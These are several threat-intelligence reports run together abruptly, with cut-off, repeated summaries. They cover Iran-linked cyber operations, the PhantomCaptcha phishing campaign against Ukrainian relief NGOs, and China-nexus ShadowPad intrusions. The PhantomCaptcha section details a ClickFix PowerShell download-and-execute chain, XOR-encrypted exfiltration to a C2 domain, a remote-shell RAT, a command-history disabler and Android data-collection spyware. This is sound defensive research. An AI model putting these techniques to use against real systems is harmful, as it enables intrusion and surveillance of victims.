For example, activity attributed to the MOIS-linked Seedworm/MuddyWater cluster began in early February, before the opening strikes. Affected environments included a U.S. bank, a U.S. airport, nonprofits, and the Israeli operation of a U.S. software supplier serving defense and aerospace customers. Researchers identified multiple backdoors and an attempted transfer of data to commercial cloud storage.
Because that activity preceded the kinetic campaign, it is tempting to call every intrusion wartime pre-positioning. In practice, the evidence supports a narrower reading. We might know access was gained before the strategic picture changed, but that doesn’t tell us what the compromise was originally for. A compromised supplier may expose customer identities and trusted administrative paths, but it’s only a software supply-chain compromise if there is evidence that downstream customers, builds, updates, or distribution were affected. What matters is that the operator had options once the conflict escalated.
A similar timing pattern appears in Screening Serpens. Unit 42 identified six new RAT variants deployed between February and April against apparent targets in the United States, Israel, the UAE, and the wider Middle East. The campaigns continued the actor’s tailored recruitment lures while adding AppDomainManager hijacking, and the conflict appears to have increased tempo without creating the espionage mission.
This is also why high-trust people are part of the enterprise perimeter. Long-running APT42 operations have targeted journalists, researchers, NGOs, academics, activists, and government-linked individuals. One compromised cloud account holds organizational context, relationships, and internal deliberations, and can yield collection, impersonation, lateral targeting, and entry into the wider organization.
Third party reporting extends that logic to service providers. Check Point’s July reporting on Cavern Manticore described intrusions in which existing RMM access and compromised IT-provider environments opened paths into targets. Check Point assesses an MOIS relationship based on technical and operational overlap with MuddyWater and Lyceum; public corroboration remains limited, so the mapping should remain moderate-confidence.
SysAid itself was not compromised, and no SysAid vulnerability was involved. The actor already had access and abused a legitimate deployment feature, and in many intrusions the weakness is the authority already granted to an administrator, service account, RMM agent, identity provider, or support organization rather than the product itself.
The war has also not displaced Iran’s standing regional requirements. Previously documented APT34 activity against Iraqi government infrastructure shows a durable mission of collecting political, diplomatic, and telecommunications intelligence from neighboring states. Iraq and the Gulf are not peripheral theaters simply because the visible strikes occur elsewhere.
Our assessment is that Iran’s most valuable cyber asset is optionality. Persistent access can support immediate collection, future tasking, transfer to another operational element, or disruption when political value exceeds operational cost.
At least one recent Handala wiping script was assessed as likely AI-assisted, and Iranian operators are likely using generative systems to accelerate coding, translation, lure development, and impersonation. The evidence supports an efficiency multiplier rather than a separate mission set.
2. Persona Operations Are Operational Infrastructure
Iran-linked intrusions are often claimed in public by personas with hacktivist-style brand names like Handala Hack Team or Homeland Justice. We observe that these personas provide threat actors with more than just post-intrusion propaganda. They serve as reusable operational infrastructure, supporting attribution masking, coercion, disclosure, intimidation, and amplifying claims.
A meaningful portion of higher-impact public activity resolves to personas of the MOIS-linked Void Manticore apparatus. In March, the U.S. Department of Justice seized four domains associated with Handala, Homeland Justice, KarmaBelow80, and a related “Red Wanted” operation, identifying shared leak infrastructure, Iranian IP ranges, and a common playbook combining destructive intrusions with data publication, doxxing, and threats.
Still from Handala’s ‘Red Wanted” propaganda video release
That evidence supports treating Handala Hack Team, Homeland Justice, and Karma as related fronts within a common MOIS-linked system, and Check Point has also documented collaboration involving Scarred Manticore. Treating the personas as interchangeable aliases in a strict CTI sense goes further than the evidence allows. Personas can serve different geographic, linguistic, or operational purposes, and the same apparatus may retire, merge, or repurpose brands as requirements change.
It is worth noting that following the March 2026 infrastructure seizure(s), Both Handala and Homeland Justice personas have continued to establish new infrastructure, and communications channels for influence and narrative control purposes. Handala, in particular, has been consistent with regards to communication over the observed timeline.
A more defensible model has three layers:
State-managed persona systems combine intrusion, destructive effects, data theft, leaks, threats, and messaging under deniable brands.
Ideologically aligned networks may coordinate targets, amplify claims, or share stolen material without evidence of direct tasking.
Opportunists and service sellers enter for attention, access sales, or revenue, relying on DDoS-for-hire, recycled data, and low-impact defacement.
These layers interact. An opportunist may sell access to a state operator, and a persona may amplify a third party’s claim, none of which proves shared organization. Treating direction, alignment, collaboration, brokerage, and amplification as synonyms inflates actor counts and obscures the operators with real access.
The March attack on Stryker is the clearest public case for this layer. Stryker confirmed global disruption to its Microsoft environment affecting ordering, manufacturing, and shipping. Early statements said no malware had been detected; a later update clarified that the actor used a malicious file to execute commands and conceal activity, though the file could not spread inside or outside Stryker’s environment.
Handala claimed responsibility, and the Justice Department later stated an MOIS-controlled Handala domain was used to claim the March 11 destructive attack. Stryker did not attribute the incident to Handala or validate the actor’s quantitative claims of device destruction and data loss. Those remain actor assertions rather than confirmed findings.
Handala’s original Wiper claim against Stryker
The public claim is part of the operation. Victim lists, leak samples, countdowns, doxxing, and unverifiable impact figures impose reputational and psychological costs before technical scoping is complete. These are all fundamental steps in the personas’ playbook to help craft and control the narrative and potentially sway the sentiment of the public. In a persona-led incident, publication and personal targeting may begin while responders are still establishing blast radius.
3. OT Risk Is Real, and Evidence Quality Matters
The strongest public evidence of wartime Iran-linked activity against U.S. operational technology is the April 7 joint advisory on internet-facing Rockwell Automation and Allen-Bradley PLCs, documenting activity against government facilities, water and wastewater organizations, and energy environments, in several cases with operational disruption and financial loss.
Two U.S. cases show why cyber-physical reporting needs exact boundaries. On April 7, CISA, the FBI, NSA, EPA, Energy Department, and U.S. Cyber Command warned that Iran-affiliated actors were exploiting internet-facing Rockwell Automation/Allen-Bradley programmable logic controllers. The agencies reported manipulation of project files and HMI/SCADA displays, operational disruption, and financial loss across multiple critical-infrastructure sectors. That is a confirmed cyber-physical campaign described by multiple government agencies.
The June California Water Service case is narrower. Handala claimed that it had hacked the utility and could have interrupted water service. Analysis of the actor’s published material supported access to customer billing data and an internal RTKBase/NTRIP GPS-correction environment used by field crews. Cal Water said it was investigating and that preliminary findings showed no known operational disruption to water, wastewater, or billing. The supported finding is potentially significant IT and field-support-system access—not demonstrated control of treatment, chemical dosing, or water distribution.
We should be cautious about attribution. The advisory described Iranian-affiliated cyber actors and referenced earlier IRGC Cyber-Electronic Command activity associated with CyberAv3ngers. Separately, Unit 42 maps the cluster it tracks as CL-STA-1128 to CyberAv3ngers and Microsoft’s Storm-0784 label. Those assessments are compatible, but they do not prove that every exposed PLC or claimed compromise involved the same operator.
Pro-Iran channels keep publishing images and videos appearing to show access to HMIs, SCADA interfaces, and industrial engineering software. Some may be genuine unauthorized access, but others may not. Analysts should apply an evidence ladder, in which each rung requires evidence beyond the one before it.
Provenance and target validation: Can the organization, system, location, and timeframe be independently established?
Interface visibility: Can the actor display a login page, dashboard, or management interface?
Authenticated interaction: Can the actor navigate the live interface or query current values?
Write or control capability: Can the actor change a setting, logic file, operating mode, or command value?
Process effect: Did the change alter an operational process outside the interface?
Physical or safety consequence: Did the process change produce a verified real-world outcome?
Stronger claims need logs, process data, engineering review, operator testimony, timestamps, configuration evidence, or independent confirmation of the outcome. These personas will falsify or embellish claims at times for various reasons. It is crucial that we scrutinize claims for validity, accuracy and technical viability.
Regardless of which actor is behind any given incident, the attack surface is well-documented: Internet-facing PLCs, unmanaged HMIs, remote engineering services, default credentials, permissive vendor access, and poorly segmented management networks. Any of these can create opportunities for meaningful disruption. In some environments, what separates a low-skill intrusion from a serious incident is the authority exposed to the internet rather than attacker capability.
Evidence quality should determine how an incident is described, not whether an exposed control path is closed.
4. Inside Iran | Concentration Risk, Underreporting, and Surveillance
Iran is also on the receiving end of this conflict, and the picture inside the country is shaped by more than just foreign intrusions. Shared-service concentration, connectivity controls, domestic surveillance, and weak disclosure increase both operational risk and analytic uncertainty.
Banking: The Dependency Is The Strategic Finding
In this context, Iran has experienced at least two officially reported banking disruptions this past June, but public record does not establish these as a one continuous intrusion.
On June 14, Iranian authorities reported that an attack on shared communications infrastructure disrupted services at four banks: Bank Melli, Bank Tejarat, Bank Saderat, and the Export Development Bank of Iran, with no unauthorized access to or deletion of customer data identified. A second reported attack on June 23 disrupted card services at three of the same banks, affecting ATMs, point-of-sale terminals, and mobile applications. These overlaps are notable, but timing and claims alone are not enough to prove a coordinated, multi-stage campaign by any one specific actor.
Affected ATM, Bank Tejarat
The incidents remain publicly unattributed. Predatory Sparrow is an obvious comparison given prior high-impact operations against Iranian financial targets, but on the available evidence it is not an attribution. The June incidents lacked the public claim, evidence package, and established destructive signature of the group’s better-known operations.
The strongest conclusion is architectural rather than actor-centric. Failure of a shared communications provider, card platform, identity service, or recovery environment can propagate across institutions and become a national public-confidence event, with outage scale reflecting dependency concentration as much as attacker sophistication.
Fallback systems belong to the same risk model, and the lesson is not confined to Iran. A recovery platform is more than an emergency copy of production. Isolation, capacity, data currency, and administrative security determine whether it operates safely under pressure, and a fallback sharing credentials, management tooling, or upstream providers with production may reproduce the failure when needed most.
Surveillance Infrastructure Can Become Targeting Infrastructure
Iran’s surveillance and communications systems are not separate from the conflict. Associated Press reporting, based on intelligence and operational sources, described Israeli access to Iranian surveillance-camera networks supporting the tracking of senior leadership; absent disclosed access paths or technical artifacts, those details should remain described as reported rather than confirmed.
The structural risk outlasts any single account. Camera networks, subscriber records, location histories, and identity databases concentrate information about people and movement, and infrastructure built to monitor a population can become targeting infrastructure for a foreign service.
The relationship also runs in reverse. Disrupting the same communications layer degrades public warning, incident response, and independent reporting, making it a surveillance asset, an intelligence target, a resilience dependency, and a domestic-control mechanism at once.
Public Reporting Is A Floor, Not A Denominator
Banks are the best-documented internal target set in the public record reviewed here, and not necessarily the only one. Incidents affecting telecommunications, energy, or military-adjacent environments may be underrepresented, a collection hypothesis rather than a confirmed count. Iranian reporting is constrained and fragmented, and incidents may be kept private or described too vaguely to distinguish attack from technical failure. The public incident set is a floor, evidence that at least those events occurred rather than a denominator for total activity.
The same logic cuts the other way, though. Knowing that incidents go unreported is not a license to fill the record with rumor, and however many compromises are plausibly hidden inside Iran, they cannot be used to attribute a specific outage, validate an actor’s claim, or turn an unexplained failure into evidence of cyberattack. When collection is thin, the honest answer is explicit uncertainty rather than false precision.
The Blackout Is Both A Collection Gap And An Attack Surface
Iran began restoring international connectivity after an 88-day shutdown, but the return was partial and uneven. A 2026 technical paper found that forwarding-plane null-routing could leave BGP announcements apparently stable, causing route-based monitors to understate the scale of disconnection.
For CTI, telemetry loss is not uniform. External visibility falls while selected domestic services stay reachable, so apparent recovery in one dataset may reflect exemptions or measurement artifacts. The blackout is also not an all-purpose causal explanation. Public evidence does not establish that connectivity restrictions caused the banking compromises or enabled a specific intrusion. Its defensible effects are on visibility, coordination, validation, and trust.
Those effects create a secondary attack surface. Users seeking secure communications or ordinary services turn to VPNs, media players, and utilities from informal channels, and recent TAG-182 activity used exactly such lures to distribute MarkiRAT to Farsi-speaking users inside and outside Iran. Iranian surveillance operators can exploit attempts to bypass connectivity restrictions, while foreign intelligence services and criminals can exploit the same demand, putting journalists, NGOs, diaspora communities, and Iran-exposed employees at risk from several directions.
Our assessment is that the internal Iranian cyber environment is defined by three overlapping risks:
attack against national and institutional infrastructure;
concentration of critical services and recovery dependencies; and
surveillance of people attempting to operate through the resulting disruption.
Treating only the first as “cyberwar” misses a substantial part of the operational reality.
Defender Priorities
For enterprise defenders, the central question extends beyond who is attacking now. It includes which access predates escalation, which trusted paths remain, and what an operator could do with them under different tasking. Review identity, cloud, RMM, and service-provider relationships against that standard, and map shared dependencies: which nominally separate services would fail together, and which recovery paths rely on the same identity provider, carrier, or administrator as production.
For incident responders, persona-led operations weaponize uncertainty. Publication, doxxing, and direct approaches to employees may begin before scoping is complete, so technical response, legal review, communications, and physical-safety support cannot operate sequentially.
For OT operators, the priorities remain clear: remove direct internet exposure; place remote access behind authenticated gateways with phishing-resistant MFA; restrict programming-mode and logic changes; enforce source and time restrictions on vendor access; monitor engineering workstations and industrial protocols; preserve offline project files and known-good configurations; and verify that recovery does not depend on the same identity, virtualization, or management environment that may have been compromised. Defenders do not need to wait for perfect attribution before removing a preventable route to operational disruption.
Outlook
Renewed kinetic escalation is likely to increase intelligence tasking, opportunistic targeting, public claims, and pressure to produce visible effects. It does not fundamentally change the access paths available to Iranian operators. Identity compromise, trusted administration, remote-management tooling, service providers, exposed internet-facing systems, and high-trust individuals remain the mechanisms most likely to produce results.
We assess with high confidence that the near-term base case is continued espionage and access development accompanied by persona-led coercion and a large volume of lower-impact activity. That includes credential theft, mailbox and cloud compromise, recruitment-themed social engineering, exploitation of trusted service relationships, and inflated public claims. Most of it will be operationally persistent but individually less dramatic than the public discussion of “cyberwar” implies.
We assess with moderate confidence that Iran-linked operators will attempt selective disruption where three conditions coincide: usable access already exists, the victim has political or symbolic value, and the expected effect can be achieved without an unacceptable risk of escalation or exposure. Administrative and management systems are particularly relevant because they translate ordinary enterprise access into organization-wide effects.
OT activity will remain dangerous but uneven. The most likely incidents involve exposed systems, weak credentials, poorly controlled remote engineering, or known vulnerabilities rather than sophisticated manipulation of segmented safety-critical environments. A technically simple compromise can still cause serious consequences when the target environment is fragile or excessively connected.
Based on the public record, we assess with moderate confidence that a coordinated, national-scale campaign intended to disable the U.S. power grid or multiple critical sectors simultaneously is a lower-likelihood, high-impact contingency rather than the near-term base case. There is public evidence of repeated targeting, reconnaissance, and exploitation of exposed industrial systems, along with limited operational disruption.
There is no public evidence at the time of writing of the synchronized access, specialized preparation, and cross-sector execution required to support claims of an imminent nationwide grid-down operation.
Official U.S. statements confirm that USCYBERCOM and USSPACECOM layered non-kinetic effects into the opening military campaign to disrupt Iranian communications and sensor networks, but they do not disclose the specific systems, accesses, techniques, duration, or reversibility involved. That is representative of the wider conflict: analysts may know a cyber-enabled effect occurred while lacking the evidence to attribute a particular outage or reconstruct the operation.
Outside Iran, public claims are likely to outpace independently verified effects; inside Iran, consequential effects may outpace public reporting, and attribution will often remain harder than impact assessment.
Analysts should stop treating logos and claim volume as the principal units of analysis. The more useful unit is access plus mission plus dependency, evaluated against evidence quality. Security teams should focus on the trusted pathways that let an otherwise ordinary compromise become wartime leverage.
Executive Summary
SentinelLABS together with Digital Security Lab of Ukraine has uncovered a coordinated spearphishing campaign targeting individual members of the International Red Cross, Norwegian Refugee Council, UNICEF, and other NGOs involved in war relief efforts and Ukrainian regional government administration.
Threat actors used emails impersonating the Ukrainian President’s Office carrying weaponized PDFs, luring victims into executing malware via a ‘ClickFix’-style fake Cloudflare cap
SentinelLABS together with Digital Security Lab of Ukraine has uncovered a coordinated spearphishing campaign targeting individual members of the International Red Cross, Norwegian Refugee Council, UNICEF, and other NGOs involved in war relief efforts and Ukrainian regional government administration.
Threat actors used emails impersonating the Ukrainian President’s Office carrying weaponized PDFs, luring victims into executing malware via a ‘ClickFix’-style fake Cloudflare captcha page.
The final payload is a WebSocket RAT hosted on Russian-owned infrastructure that enables arbitrary remote command execution, data exfiltration, and potential deployment of additional malware.
Despite six months of preparation, the attackers’ infrastructure was only active for a single day, indicating sophisticated planning and strong commitment to operational security.
An additional infrastructure pivot revealed a mobile attack vector with fake applications aimed at collecting geolocation, contacts, media files and other data from compromised Android devices.
Background
Following intelligence shared by research partner Digital Security Lab of Ukraine, SentinelLABS conducted an investigation into a coordinated spearphishing campaign launched on October 8th, 2025, targeting organizations critical to Ukraine’s war relief efforts.
The campaign was initiated through emails that impersonated the Ukrainian President’s Office and contained a weaponized PDF attachment (SHA-256: e8d0943042e34a37ae8d79aeb4f9a2fa07b4a37955af2b0cc0e232b79c2e72f3) embedded with a malicious link.
PDF document page 1/8
Targeted organizations included the International Committee of the Red Cross (ICRC), United Nations Children’s Fund (UNICEF) Ukraine office, Norwegian Refugee Council, Council of Europe’s Register of Damage for Ukraine, and Ukrainian government administrations in the Donetsk, Dnipropetrovsk, Poltava, and Mikolaevsk regions.
The weaponized PDF was an 8-page document that appeared to be a legitimate governmental communique. VirusTotal submissions on October 8th showed the malicious file uploaded from multiple locations including Ukraine, India, Italy, and Slovakia, suggesting widespread targeting and potential victim interaction with the campaign.
PhantomCaptcha Attack Chain
The PhantomCaptcha campaign employed a sophisticated multi-stage attack chain designed to exploit user trust and bypass traditional security controls.
Opening the weaponized PDF and clicking on the embedded link directed the victim to zoomconference[.]app, a domain masquerading as a legitimate Zoom site but in reality hosting a VPS server located in Finland and owned by Russian provider KVMKA.
Our analysis showed that zoomconference[.]app, hosted on IP 193.233.23[.]81, stopped resolving on the same day the attack attempt took place, indicating a single day operation. However, we were able to retrieve the server response from a record captured on VirusTotal. The server response showed that any visitors to the site encountered a convincing fake Cloudflare DDoS protection gateway.
Initial view of a page from zoomconference[.]app
After loading, the fake Cloudflare page attempts to establish a WebSocket connection to the attackers’ server, passing a randomly generated client identifier, clientId, produced by an embedded JavaScript function generateRandomId(). A JavaScript comment before the function suggests the client identifier should be 32 characters long; however, the code utilizes only 2 characters for clientId.
The attack infrastructure supported two potential infection paths. If the WebSocket server responded with a matching identifier, the victim’s browser would redirect to a legitimate, password-protected Zoom meeting. This infection path likely enabled live social engineering calls with victims; however, activation of this path was not observed during our investigation.
The primary infection vector relied on a variation of a social engineering technique that has been widely deployed by a variety of threat actors since mid-2024. Dubbed ClickFix or Paste and Run, it involves convincing the target to execute commands either deliberately or surreptitiously copied to the user’s clipboard. The PhantomCaptcha variant of this technique works as follows.
After the fake “automatic” verification process, victims are presented with a simulated reCaptcha challenge displaying an “I’m not a robot” checkbox.
Simulated reCaptcha controls
Clicking the checkbox triggers a popup with instructions in Ukrainian, directing users to
Click the “Copy token” button in the popup
Press Windows + R to open the Run dialog
Paste and execute the command
Custom reCaptcha popup in Ukrainian with “Copy token” button
The button runs a function copyToken() which contains a PowerShell commandlet designed to run invisibly.
The code downloads and executes the next stage PowerShell script from hxxps://zoomconference[.]app/cptch/${clientId}, where ${clientId} is the same ID as described above.
This social engineering technique is particularly effective because the malicious code is executed by the user themselves, evading endpoint security controls that focus solely on detecting malicious files.
Infection paths
Our analysis suggests this attack chain has overlaps with recently-reported activity attributed to COLDRIVER, a Russian FSB-linked threat cluster, by several industry peers [1, 2, 3]. We continue to investigate whether this attribution can be confidently extended to the PhantomCaptcha campaign.
Multi-Stage Payload Delivery
Although the malware distribution server at zoomconference[.]app was not available at the time of analysis, we managed to discover additional infrastructure and payloads from malware repositories by querying for files from URLs ending with /cptch.
Our analysis revealed that the PhantomCaptcha campaign aimed to deliver PowerShell malware in three stages.
Stage 1: Obfuscated Downloader
The initial payload (SHA-256: 3324550964ec376e74155665765b1492ae1e3bdeb35d57f18ad9aaca64d50a44) was a heavily obfuscated PowerShell script named cptch and exceeding 500KB in size. Despite its apparent complexity, the cptch script’s core functionality is simply to download and execute a second-stage payload from hxxps://bsnowcommunications[.]com/maintenance.
The cptch file is a heavily obfuscated PowerShell script
The entire inflated script can be reduced to a single line:
Using massive obfuscation to obscure simple functionality is likely designed to evade signature-based detection and complicate analysis efforts.
Stage 2: Fingerprinting and Encrypted Comms
The second-stage payload (SHA-256: 4bc8cf031b2e521f2b9292ffd1aefc08b9c00dab119f9ec9f65219a0fbf0f566) is named maintenance and performs system reconnaissance, collecting:
Computer name
Domain information
Username
Process ID
System UUID (hardware identifier)
This data was XOR-encrypted with the hardcoded key b3yTKRaP4RHKYQMf0gMd4fw1KNvBtv3l and sent to hxxps://bsnowcommunications[.]com/maintenance/<data> via HTTP GET requests.
Part of the maintenance script and the hardcoded XOR key used for encryption
The script also disabled PowerShell command history logging via Set-PSReadlineOption -HistorySaveStyle SaveNothing as a means of evading forensic analysis.
The server responded with an encrypted payload containing the third and final stage, which was decrypted and executed in memory.
Stage 3: WebSocket-Based Remote Access Trojan
The final payload (SHA-256: 19bcf7ca3df4e54034b57ca924c9d9d178f4b0b8c2071a350e310dd645cd2b23) is a lightweight PowerShell backdoor that connects (and repeatedly reconnects) to a remote WebSocket server at wss://bsnowcommunications[.]com:80. It receives Base64-encoded JSON messages that contain one of:
cmd: a command that is decoded and executed with iex (Invoke-Expression) synchronously; Executing a command with iex (Invoke-Expression)
psh: a PowerShell payload decoded and executed asynchronously using a PowerShell runspace delegate. Executing a PowerShell payload from the server
After execution, the script collects output, the current working directory, the machine HWID (UUID via WMI), PID, and an IDC identifier from the server message, converts that to JSON, and sends it back over the WebSocket. It is designed to run in an infinite loop, with reconnect logic and basic error handling.
The WebSocket-based RAT is a remote command execution backdoor, effectively a remote shell that gives an operator arbitrary access to the host.
Infrastructure Analysis
PhantomCaptcha demonstrated a moderate level of operational security through its brief active window. The C2 domain zoomconference[.]app resolved to 193.233.23[.]81, a VPS server hosted by Russian provider KVMKA. SentinelLABS’ analysis revealed the infrastructure was active for only about 24 hours on October 8, 2025, with ports 443 and 80 closed by the time of our investigation.
By fingerprinting the cached server response, we were able to identify a further malicious IP address 45.15.156[.]24, which resolves from goodhillsenterprise[.]com and has previously been seen serving obfuscated PowerShell malware scripts [1, 2]. We assess, with medium confidence, that 45.15.156[.]24 is currently or has recently been under the control of the threat actors behind PhantomCaptcha.
The C2 domain bsnowcommunications[.]com is linked to IP 185.142.33[.]131. Unlike the public-facing lure domain, this backend C2 infrastructure remains active, indicating strong compartmentalization and the need to maintain certain infrastructure for already-compromised systems.
We also found that on October 9, 2025, the day after the initial attack, a domain with the name zoomconference[.]click was registered, potentially indicating plans for continued operations.
PhantomCaptcha 2025 Attack Timeline
March – According to the earliest related event (registration of goodhillsenterprise[.]com), the attackers started their operations on 2025-03-27.
July – A number of malicious PowerShell scripts and other malware samples were developed and tested on VirusTotal in July 2025.
September – SSL certificates from Let’s Encrypt for the related domains were issued on Sep 15 and Sep 25, 2025.
October – Internal timestamps from the lure PDF document are dated back to Aug 2025, but were updated on Oct 8, 2025. The email with malicious attachment was also sent out on Oct 8, 2025. On the same day, the attack domain was shut down only to appear the following day (Oct 9, 2025) under a different top level domain.
Pivot to Additional Campaign
One interesting pivot from our infrastructure analysis revealed a link to a wider campaign making use of adult-oriented social and entertainment lures, with potential links to Russia/Belarus source development.
As noted earlier, the PhantomCaptcha zoom-themed domains were hosted on 193.233.23[.]81. During our analysis, the same IP began hosting a new domain, princess-mens[.]click, which appeared similar in ownership and configuration. Collected HTTPS response data from zoomconference[.]click also began including content identical to that found in the new domain, indicating a direct overlap in ownership of both domains.
Domain timeline, focused on October and later, on 193.233.23[.]81zoomconference[.]click HTTPS response data matching princess-mens[.]click
The princess-mens[.]click domain has been observed linked to an Android application called princess.apk, hosted at https://princess-mens[.]click/princess.apk. The domain’s content and the APK are themed around an adult entertainment venue in Lviv, Ukraine, called Princess Men’s Club. Similar APKs can be found in other themes as well, such as “Cloud Storage”.
App requesting device location
The application collects a variety of data to send to a hardcoded C2, which itself can be linked to additional infrastructure and samples. The samples use the HTTPS protocol and communicate over port 5000 to various server paths such as /check_update, /data, and /upload. For example:
https://[IP ADDRESS]:5000/check_update?version=[APP VERSION NUMBER]
The APK’s collectAndSendAllData() method is designed to gather a wide range of personal and device information. Based on the variable names in the code, the specific data being collected appears to be as follows.
Contacts data
phonebook entries (names, numbers, emails).
Call logs
incoming, outgoing, and missed calls.
Installed apps
list of all installed applications.
SIM numbers/data
SIM card information such as numbers, IMSI, or carrier details.
Device info
hardware model, OS version, manufacturer, and possibly device ID.
Network info
connected network type (Wi-Fi, mobile, etc).
Wi-Fi SSID
name of the currently connected Wi-Fi network.
Location data
GPS or last known location of the device.
Public IP address
external IP visible to the internet.
Gallery images
photos or image metadata stored on the device.
While these findings indicate a possible relation to the PhantomCaptcha campaign, we are currently tracking it as a separate cluster of activity and encourage the research community to further pursue this lead for additional insight. We provide indicators that may be fruitful to explore at the end of this post.
Security Implications
Legitimate services do not require pasting commands into Windows Run dialog (Win+R) or similar interfaces. Hence, user awareness training on “Paste and Run” social engineering techniques can help prevent attacks using this infection vector. Similarly, unexpected communications from government offices can be independently verified through known channels.
From a technical perspective, PowerShell execution logging and monitoring provides visibility into commands using hidden window styles, execution policy bypasses, or attempts to disable command history logging. Additionally, network security teams can monitor for WebSocket connections to recently-registered or suspicious domains, particularly those mimicking legitimate services.
We provide a comprehensive list of Indicators of Compromise below to support threat hunting and detection efforts.
Conclusion
The PhantomCaptcha campaign reflects a highly capable adversary, demonstrating extensive operational planning, compartmentalized infrastructure, and deliberate exposure control. The six-month period between initial infrastructure registration and attack execution, followed by the swift takedown of user-facing domains while maintaining backend command-and-control, underscores an operator well-versed in both offensive tradecraft and defensive detection evasion.
The targeting of organizations supporting Ukraine’s relief efforts also reveal an adversary seeking intelligence across humanitarian operations, reconstruction planning, and international coordination efforts.
SentinelLABS continues to monitor infrastructure associated with this threat actor and will provide updates as new information becomes available.
Acknowledgments
We would like to express our thanks to partners in the region, including Digital Security Lab of Ukraine for their invaluable collaboration on this case.
Organizations that believe they may have been targeted by threat actors involved in this campaign are invited to reach out to the SentinelLABS team via ThreatTips@sentinelone.com.
Executive Summary
In October 2024, SentinelLABS observed and countered a reconnaissance operation targeting SentinelOne, which we track as part of a broader activity cluster named PurpleHaze.
At the beginning of 2025, we also identified and helped disrupt an intrusion linked to a wider ShadowPad operation. The affected organization was responsible for managing hardware logistics for SentinelOne employees at the time.
A thorough investigation of SentinelOne’s infrastructure, software, and hardwa
In October 2024, SentinelLABS observed and countered a reconnaissance operation targeting SentinelOne, which we track as part of a broader activity cluster named PurpleHaze.
At the beginning of 2025, we also identified and helped disrupt an intrusion linked to a wider ShadowPad operation. The affected organization was responsible for managing hardware logistics for SentinelOne employees at the time.
A thorough investigation of SentinelOne’s infrastructure, software, and hardware assets confirmed that the attackers were unsuccessful and SentinelOne was not compromised by any of these activities.
The PurpleHaze and ShadowPad activity clusters span multiple partially related intrusions into different targets occurring between July 2024 and March 2025. The victimology includes a South Asian government entity, a European media organization, and more than 70 organizations across a wide range of sectors.
We attribute the PurpleHaze and ShadowPad activity clusters with high confidence to China-nexus threat actors. We loosely associate some PurpleHaze intrusions with actors that overlap with the suspected Chinese cyberespionage groups publicly reported as APT15 and UNC5174.
This research underscores the persistent threat Chinese cyberespionage actors pose to global industries and public sector organizations, while also highlighting a rarely discussed target they pursue: cybersecurity vendors.
Overview
This research outlines threats that SentinelLABS observed and defended against in late 2024 and the first quarter of 2025. This post expands upon previous SentinelLABS research, which provides an overview of threats against cybersecurity vendors, including SentinelOne, ranging from financially motivated crimeware to targeted attacks by nation-state actors. This research focuses specifically on the subset of threats targeting SentinelOne and others that we attribute to China-nexus threat actors.
By disclosing details of the threat activities we have faced, we bring into focus an aspect of the threat landscape that has received limited attention in public cyber threat intelligence discourse: the targeting of cybersecurity vendors. Our objective is to contribute to strengthening industry defenses by promoting transparency and encouraging collaboration. Cybersecurity companies are high-value targets for threat actors due to their protective roles, deep visibility into client environments, and ability to disrupt adversary operations. The findings detailed in this post highlight the persistent interest of China-nexus actors in these organizations.
This research focuses on the following activities targeting SentinelOne, as well as suspected related operations identified during our investigations:
An intrusion into an IT services and logistics organization, which was responsible at the time for managing hardware logistics for SentinelOne employees.
Extensive remote reconnaissance of SentinelOne servers intentionally reachable from the Internet by virtue of their functionality.
We promptly informed the IT services and logistics organization of the intrusion details. A thorough investigation into SentinelOne’s infrastructure, software, and hardware assets found no evidence of compromise.
At this point, it remains unclear whether the perpetrators’ focus was solely on the targeted IT logistics organization or if they intended to extend their reach to downstream organizations as well. Nevertheless, this case underscores the persistent threat posed by suspected Chinese threat actors, who have a history of seeking to establish strategic footholds to potentially compromise downstream entities.
As for the reconnaissance activity, we promptly identified and mapped the threat actor’s infrastructure involved in this operation as soon as it began. A thorough investigation of SentinelOne servers probed by the attackers revealed no signs of compromise. We assess with high confidence that the threat actor’s activities were limited to mapping and evaluating the availability of select Internet-facing servers, likely in preparation for potential future actions. Continuous monitoring of network traffic to our servers, which is part of established and continuing practice for protecting SentinelOne assets exposed to the Internet, enabled rapid detection and increased scrutiny to the reconnaissance activities, effectively mitigating any potential risks.
Further investigations uncovered multiple, partially related intrusions and clusters of activity characteristic of modern Chinese-nexus operations:
Activity A: June 2024 intrusion into a South Asian government entity
Activity B: A set of intrusions impacting organizations worldwide occurring between July 2024 and March 2025
Activity C: Intrusion into an IT services and logistics company at the beginning of 2025
Activity D: October 2024 intrusion into the same government entity compromised in June 2024
Activity E: October 2024 reconnaissance activity targeting SentinelOne
Activity F: September 2024 intrusion into a leading European media organization
The next two sections provide an overview of these activities, including timelines, points of overlap, and our attribution assessments, followed by concrete technical details, such as observed TTPs, malware, and infrastructure to enable other organizations in related sectors to investigate and mitigate similar sets of activity.
Overview | ShadowPad Intrusions
ShadowPad activity, June 2024 – March 2025
In June 2024, SentinelLABS observed threat actor activity involving the ShadowPad malware targeting a South Asian government entity that provides IT solutions and infrastructure across multiple sectors (Activity A). The ShadowPad sample we retrieved was obfuscated using a variant of ScatterBrain, an evolution of the ScatterBee obfuscation mechanism.
Based on ShadowPad implementation characteristics, we identified additional samples that revealed broader activity taking place between July 2024 and March 2025, spanning a wide range of victims globally (Activity B). Using C2 netflow and SentinelOne telemetry data, SentinelLABS uncovered over 70 victims across sectors such as manufacturing, government, finance, telecommunications, and research. Potentially affected SentinelOne customers were proactively contacted by our Threat Discovery and Response (TDR) teams. One of the impacted entities was an IT services and logistics company, which had been responsible for managing hardware logistics for SentinelOne employees during that period (Activity C).
We attribute these intrusions with high confidence to China-nexus actors, with ongoing efforts aimed at determining the specific threat clusters involved. ShadowPad is a closed-source modular backdoor platform used by multiple suspected China-nexus threat actors to conduct cyberespionage. Google Threat Intelligence Group has observed the use of ScatterBrain-obfuscated ShadowPad samples since 2022 and attributes them to clusters associated with the suspected Chinese APT umbrella actor APT41.
Several of the ShadowPad samples and infrastructure we identified have also been documented in previous public reporting on recent ShadowPad activities, including research published by TrendMicro, Orange Cyberdefense, and Check Point. Some of these activities have included the deployment of ransomware referred to as NailaoLocker, though the motive remains unclear, whether for financial gain or as a means of distraction, misattribution, or removal of evidence.
Overview | The PurpleHaze Activity Cluster
PurpleHaze activity, September – October 2024
In early October 2024, SentinelLABS observed new threat actor activity (Activity D) at the same South Asian government entity compromised using ShadowPad in June 2024 (Activity A).
This intrusion involved backdoors that we classify as part of a malware cluster designated GOREshell, our designation for a loose malware cluster that includes the open-source reverse_ssh backdoor and its custom variants, which we have observed in targeted attacks. While these variants exhibit variations in implementation, all share code similarities with the client component of reverse_ssh.
